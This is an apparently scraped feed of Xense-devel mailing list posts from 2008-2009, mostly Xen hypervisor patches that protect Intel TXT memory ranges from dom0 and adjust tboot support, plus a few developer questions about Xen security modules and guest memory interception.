&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sfn = paddr_to_pfn(txt_protmem_range_starts[i]);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;efn = paddr_to_pfn(txt_protmem_range_ends[i]);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( sfn &amp;lt;= efn )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;rc |= iomem_deny_access(dom0, sfn, efn);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;BUG_ON(rc != 0);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;diff -r 3d294dba4255 -r bde0fd053306 xen/arch/x86/mm.c
&lt;br&gt;--- a/xen/arch/x86/mm.c Fri Jan 16 13:25:37 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/mm.c Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;@@ -109,6 +109,7 @@
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/e820.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/hypercall.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/shared.h&amp;gt;
&lt;br&gt;+#include &amp;lt;asm/tboot.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;public/memory.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;xsm/xsm.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;xen/trace.h&amp;gt;
&lt;br&gt;@@ -216,7 +217,7 @@ void __init arch_init_memory(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;extern void subarch_init_memory(void);
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;unsigned long i, pfn, rstart_pfn, rend_pfn, iostart_pfn, ioend_pfn;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long i, pfn, rstart_pfn, rend_pfn, iostart_pfn, ioend_pfn, j;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/*
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; * Initialise our DOMID_XEN domain.
&lt;br&gt;@@ -279,6 +280,19 @@ void __init arch_init_memory(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for ( ; pfn &amp;lt; rstart_pfn; pfn++ )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;BUG_ON(!mfn_valid(pfn));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Ensure the TXT ranges are not marked as I/O since that memory */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* can't be used in dom0. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( tboot_in_measured_env() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;for ( j = 0; j &amp;lt; ARRAY_SIZE(txt_protmem_range_starts); j++ )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( (PFN_DOWN(txt_protmem_range_starts[j]) &amp;lt;= pfn)
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;&amp; (pfn &amp;lt;= PFN_DOWN(txt_protmem_range_ends[j])) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( j != ARRAY_SIZE(txt_protmem_range_starts) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;continue;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;share_xen_page_with_guest(
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mfn_to_page(pfn), dom_io, XENSHARE_writable);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;diff -r 3d294dba4255 -r bde0fd053306 xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:25:37 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;@@ -15,12 +15,18 @@ string_param(&amp;quot;tboot&amp;quot;, opt_tboot);
&lt;br&gt;&amp;nbsp;/* Global pointer to shared data; NULL means no measured launch. */
&lt;br&gt;&amp;nbsp;tboot_shared_t *g_tboot_shared;
&lt;br&gt;&lt;br&gt;+/* TXT memory ranges which need to be protected from dom0 */
&lt;br&gt;+uint64_t txt_protmem_range_starts[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;+uint64_t txt_protmem_range_ends[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;static const uuid_t tboot_shared_uuid = TBOOT_SHARED_UUID;
&lt;br&gt;&lt;br&gt;&amp;nbsp;void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_shared_t *tboot_shared;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;unsigned long p_tboot_shared;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long p_tboot_shared, map_addr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t base, size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Look for valid page-aligned address for shared page. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;p_tboot_shared = simple_strtoul(opt_tboot, NULL, 0);
&lt;br&gt;@@ -48,6 +54,34 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* Get TXT heaps/SINIT/Private Space addresses. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(TXT_PUB_CONFIG_REGS_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(NR_TXT_CONFIG_PAGES * PAGE_SIZE);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_addr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_addr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;panic(&amp;quot;Could not get TXT heaps/SINIT/Private Space addresses\n&amp;quot;);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* TXT Heap */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_starts[0] = base;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_ends[0] = base + size - 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_starts[1] = base;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_ends[1] = base + size - 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* TXT Private Space */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_starts[2] = TXT_PRIV_CONFIG_REGS_BASE;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_protmem_range_ends[2] = TXT_PRIV_CONFIG_REGS_BASE
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;+ NR_TXT_CONFIG_PAGES * PAGE_SIZE - 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;destroy_xen_mappings((unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT),
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (unsigned long)__va((map_base + map_size) &amp;lt;&amp;lt; PAGE_SHIFT));
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type)
&lt;br&gt;diff -r 3d294dba4255 -r bde0fd053306 xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:25:37 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Fri Jan 16 13:34:36 2009 -0800
&lt;br&gt;@@ -2,7 +2,7 @@
&lt;br&gt;&amp;nbsp; * tboot.h: shared data structure with MLE and kernel and functions
&lt;br&gt;&amp;nbsp; * &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;used by kernel for runtime support
&lt;br&gt;&amp;nbsp; *
&lt;br&gt;- * Copyright (c) 2006-2007, Intel Corporation
&lt;br&gt;+ * Copyright (c) 2006-2009, Intel Corporation
&lt;br&gt;&amp;nbsp; * All rights reserved.
&lt;br&gt;&amp;nbsp; *
&lt;br&gt;&amp;nbsp; * Redistribution and use in source and binary forms, with or without
&lt;br&gt;@@ -90,6 +90,26 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type);
&lt;br&gt;&amp;nbsp;int tboot_in_measured_env(void);
&lt;br&gt;&lt;br&gt;+/*
&lt;br&gt;+ * TXT configuration registers (offsets from TXT_{PUB, PRIV}_CONFIG_REGS_BASE)
&lt;br&gt;+ */
&lt;br&gt;+
&lt;br&gt;+#define TXT_PUB_CONFIG_REGS_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; 0xfed30000
&lt;br&gt;+#define TXT_PRIV_CONFIG_REGS_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp;0xfed20000
&lt;br&gt;+
&lt;br&gt;+/* # pages for each config regs space - used by fixmap */
&lt;br&gt;+#define NR_TXT_CONFIG_PAGES &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((TXT_PUB_CONFIG_REGS_BASE - \
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TXT_PRIV_CONFIG_REGS_BASE) &amp;gt;&amp;gt; &amp;nbsp; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;PAGE_SHIFT)
&lt;br&gt;+#define TXTCR_SINIT_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0270
&lt;br&gt;+#define TXTCR_SINIT_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0278
&lt;br&gt;+#define TXTCR_HEAP_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0300
&lt;br&gt;+#define TXTCR_HEAP_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0308
&lt;br&gt;+
&lt;br&gt;+#define TXT_PROTMEM_RANGE_MAX 3
&lt;br&gt;+extern uint64_t txt_protmem_range_starts[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;+extern uint64_t txt_protmem_range_ends[TXT_PROTMEM_RANGE_MAX];
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;#endif /* __TBOOT_H__ */
&lt;br&gt;&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557519&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-02-protect_txt_ranges.patch&lt;/strong&gt; (9K) &lt;a href=&quot;http://old.nabble.com/attachment/21557519/0/xen-txt-02-protect_txt_ranges.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-2-6---explicitly-protect-TXT-addr-ranges-from-dom0-tp21557519p21557519.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557500</id>
	<title>[PATCH] txt: 1/6 - &quot;fix&quot; xen_phys_start for 32b builds</title>
	<published>2009-01-19T21:48:46Z</published>
	<updated>2009-01-19T21:48:46Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">On IA32 (32b/32b PAE) builds, set xen_phys_start (and by extension xenheap_phys_start) to be the start of hypervisor code (instead of 0). &amp;nbsp;This reflects the actual trust/protection boundary of the hypervisor.
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557500&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r 8df3c145923f -r f96073a97f5c xen/arch/x86/setup.c
&lt;br&gt;--- a/xen/arch/x86/setup.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Mon Jan 19 17:40:28 2009 +0000
&lt;br&gt;+++ b/xen/arch/x86/setup.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Mon Jan 19 20:22:24 2009 -0800
&lt;br&gt;@@ -843,7 +843,7 @@ void __init __start_xen(unsigned long mb
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Initialise the Xen heap. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;init_xenheap_pages(xenheap_phys_start, xenheap_phys_end);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;nr_pages = (xenheap_phys_end - xenheap_phys_start) &amp;gt;&amp;gt; PAGE_SHIFT;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;xenheap_phys_start = xen_phys_start;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;xenheap_phys_start = xen_phys_start = __pa(&amp;_start);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;Xen heap: %luMB (%lukB)\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; nr_pages &amp;gt;&amp;gt; (20 - PAGE_SHIFT),
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; nr_pages &amp;lt;&amp;lt; (PAGE_SHIFT - 10));
&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557500&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-1-6---%22fix%22-xen_phys_start-for-32b-builds-tp21557500p21557500.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21557482</id>
	<title>[PATCH] txt: 0/6 - Overview</title>
	<published>2009-01-19T21:48:25Z</published>
	<updated>2009-01-19T21:48:25Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">This patch series are changes to Xen to support new functionality, and a changed API, in the tboot project (see &lt;a href=&quot;http://sourceforge.net/projects/tboot&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/tboot&lt;/a&gt;&amp;nbsp;for more info about tboot). &amp;nbsp;Some of these changes originated from comments received when the first set of Linux tboot/Intel(r) TXT patches were posted to LKML.
&lt;br&gt;&lt;br&gt;Attached to this patch is a single patch to be applied to the current tip of the tboot source tree (located at &lt;a href=&quot;http://www.bughost.org/repos.hg/tboot.hg&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.bughost.org/repos.hg/tboot.hg&lt;/a&gt;). &amp;nbsp;Due to the API change, for those who wish to test the patches, it would be best to apply all of the tboot patch at once and test with all of the Xen patches applied to Xen.
&lt;br&gt;&lt;br&gt;Since the API changes are not backwards compatible, the resulting tboot will not work with a Xen that does not have the patches applied. &amp;nbsp;Likewise, a Xen with these patches applied will not work with the un-patched tboot. &amp;nbsp;To keep backward compatibility would have left the interface and code fairly ugly and didn't seem worth the trouble.
&lt;br&gt;&lt;br&gt;The Xen patches are as follows:
&lt;br&gt;&lt;br&gt;xen-txt-01-xen_phys_addr_start_fix.patch &amp;nbsp;- &amp;quot;fix&amp;quot; xen_phys_start for 32b builds
&lt;br&gt;xen-txt-02-protect_txt_ranges.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - explicitly protect TXT addr ranges from dom0
&lt;br&gt;xen-txt-03-use_protected_dmar.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - use TXT's DMA-protected DMAR table to setup VT-d
&lt;br&gt;xen-txt-04-acpi_gas_support.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - ACPI Generic Address Structure for tboot shutdown
&lt;br&gt;xen-txt-05-unified_shutdown_entry.patch &amp;nbsp; - single tboot entry point for shutdown
&lt;br&gt;xen-txt-06-hypervisor_s3_integrity.patch &amp;nbsp;- hypervisor integrity on S3
&lt;br&gt;&lt;br&gt;We are currently working on a patch that will extend the S3 integrity to domains, as configurable via a domain's config file (and always for dom0).
&lt;br&gt;&lt;br&gt;The patches apply cleanly to the latest xen-unstable.
&lt;br&gt;&lt;br&gt;Joe and Shane
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21557482&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;tboot-latest.patch&lt;/strong&gt; (251K) &lt;a href=&quot;http://old.nabble.com/attachment/21557482/0/tboot-latest.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH--txt%3A-0-6---Overview-tp21557482p21557482.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21495129</id>
	<title>Question about XSM-ACM XSM-FLASK differences</title>
	<published>2009-01-16T01:07:56Z</published>
	<updated>2009-01-16T01:07:56Z</updated>
	<author>
		<name>sakaia</name>
	</author>
	<content type="html">Hi,
&lt;br&gt;&lt;br&gt;I have a question about XSM-ACM(sHype) and XSM-FLASK difference.
&lt;br&gt;These two are based on Flask model.
&lt;br&gt;So I wan to know the difference of these two.
&lt;br&gt;&lt;br&gt;Is this is only a implementation difference?
&lt;br&gt;(like a policy description format etc.)
&lt;br&gt;&lt;br&gt;Or any other difference exists?
&lt;br&gt;&lt;br&gt;I think XSM-FLASK policy format is same as SELinux one.
&lt;br&gt;But Security Server is splited between Linux/Xen.
&lt;br&gt;In this situation, 
&lt;br&gt;it looks same XSM-ACM and XSM-FLASKin a view from Security Server.
&lt;br&gt;&lt;br&gt;If this discussion is already done,
&lt;br&gt;Please suggest me a pointer.
&lt;br&gt;&lt;br&gt;Thanks
&lt;br&gt;Atsushi SAKAI
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21495129&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Question-about-XSM-ACM-XSM-FLASK-differences-tp21495129p21495129.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-20888462</id>
	<title>Intercepting memory operations of a guest</title>
	<published>2008-12-07T17:57:26Z</published>
	<updated>2008-12-07T17:57:26Z</updated>
	<author>
		<name>Sina Bahram</name>
	</author>
	<content type="html">Hi all,
&lt;br&gt;&lt;br&gt;Sorry for any cross posting. I sent this to the xen-devel list and the
&lt;br&gt;xen-research list as well.
&lt;br&gt;&lt;br&gt;I'm wanting to modify some xen source code for the purposes of some
&lt;br&gt;research, exploration, and testing of some security concepts.
&lt;br&gt;&lt;br&gt;I have a few questions after looking through the source.
&lt;br&gt;&lt;br&gt;All of the below applies to 32-bit guests.
&lt;br&gt;&lt;br&gt;#1: Is there anyway possible to trap/insert some code at/hook into, any
&lt;br&gt;modification of a PV guest's page table. Anything like a hypercall handler I
&lt;br&gt;can plugin to, a function or series of functions that always gets called,
&lt;br&gt;something I can provide a call back to, or anything else?
&lt;br&gt;&lt;br&gt;#2: For some research purposes, I plan on replicating portions of the page
&lt;br&gt;table of a guest, only those pages of the guest's kernel. I hope to do this
&lt;br&gt;by the supervisory bit being set; however, I welcome any suggestions of a
&lt;br&gt;better approach to detecting when kernel pages are being modified?
&lt;br&gt;&lt;br&gt;In general, to explain any questions I haven't specifically asked above; I'm
&lt;br&gt;looking for the appropriate place in xen to intercept any writes, reads, and
&lt;br&gt;executes of a guest's memory.
&lt;br&gt;&lt;br&gt;Also, would such activities be easier or more difficult with hvm guests?
&lt;br&gt;Since xen has to provide hvm guests an individual CR3, would such a place be
&lt;br&gt;much easier to hook into because of any abstraction layers that already
&lt;br&gt;exist for such things?
&lt;br&gt;&lt;br&gt;The only reason I picked pv guests was that the semantics of what is a
&lt;br&gt;kernel page and what is not might not be as easy to determine in an hvm
&lt;br&gt;guest, but perhaps this is not the case?
&lt;br&gt;&lt;br&gt;Thanks for any assistance.
&lt;br&gt;&lt;br&gt;Take care,
&lt;br&gt;Sina
&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=20888462&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Intercepting-memory-operations-of-a-guest-tp20888462p20888462.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-19960246</id>
	<title>tboot backwards compatiblity with Xen</title>
	<published>2008-10-13T11:24:16Z</published>
	<updated>2008-10-13T11:24:16Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">Based on some feedback from the recent Linux posting of the tboot/TXT
&lt;br&gt;patches as well as some enhancements that we've been looking at for
&lt;br&gt;tboot, there are some changes that we'd like to make to tboot that would
&lt;br&gt;not be backwards compatible with the existing Xen code. &amp;nbsp;Naturally, we'd
&lt;br&gt;submit patches for Xen, but existing versions (e.g. 3.2, 3.3) would not
&lt;br&gt;work with the new tboot.
&lt;br&gt;&lt;br&gt;The question I pose to those who use tboot with Xen is: &amp;nbsp;how important
&lt;br&gt;is it that new versions of tboot continue to work with older versions of
&lt;br&gt;Xen?
